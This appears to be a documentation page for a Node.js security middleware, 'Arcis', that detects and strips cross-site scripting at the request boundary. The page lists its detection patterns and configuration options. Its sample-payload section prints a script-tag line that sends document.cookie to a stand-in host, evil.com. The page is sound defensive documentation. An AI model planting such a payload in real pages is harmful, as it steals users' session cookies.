XSS
Cross-site scripting: attacker-controlled HTML or JavaScript renders in another user's browser. Sanitized at the request boundary across req.body, req.query, and req.params.
What it catches
- Script tags in any case:
<script>,<SCRIPT>,<ScRiPt> javascript:anddata:protocol URIs in href / src / action- HTML event handlers:
onclick=,onload=,onerror=and 100+ others - SVG payloads:
<svg onload=...>,<image href=javascript:...> - Iframe, object, embed, form, meta, base, link tags
- Encoded variants via NFKC normalization + multi-decode chain (fullwidth, URL-encoded, HTML-entity-encoded)
Sample payload
Before sanitization (request body field):
"Great article! <script>document.location='https://evil.com/steal?cookie='+document.cookie</script>"
After:
"Great article! "
Or in detect-and-block mode, the request is refused with a 403 and the decision event tags vector=xss, rule=patterns.xss.script-tag.
Configuration
app.use(arcis({
block: true, // 403 on detected attack vs sanitize-and-pass
sanitize: {
xss: {
enabled: true, // default true
encodeOutput: true // HTML-encode survivors (default true)
}
}
}));
Disable or dry-run
// Skip XSS sanitization on a specific route
app.post('/admin/raw-html', arcis({ sanitize: { xss: false } }), handler);
// Observation mode: detect but do not modify, emit an event for review
app.use(arcis({
block: false,
onSanitize: (match) => logger.warn('XSS observed', match)
}));
References
Defense in depth. Arcis stops XSS at the request boundary. Pair with output-context encoding (encodeForHtml, encodeForAttribute, encodeForJs, encodeForUrl, encodeForCss) at render time. CSP headers add a third layer.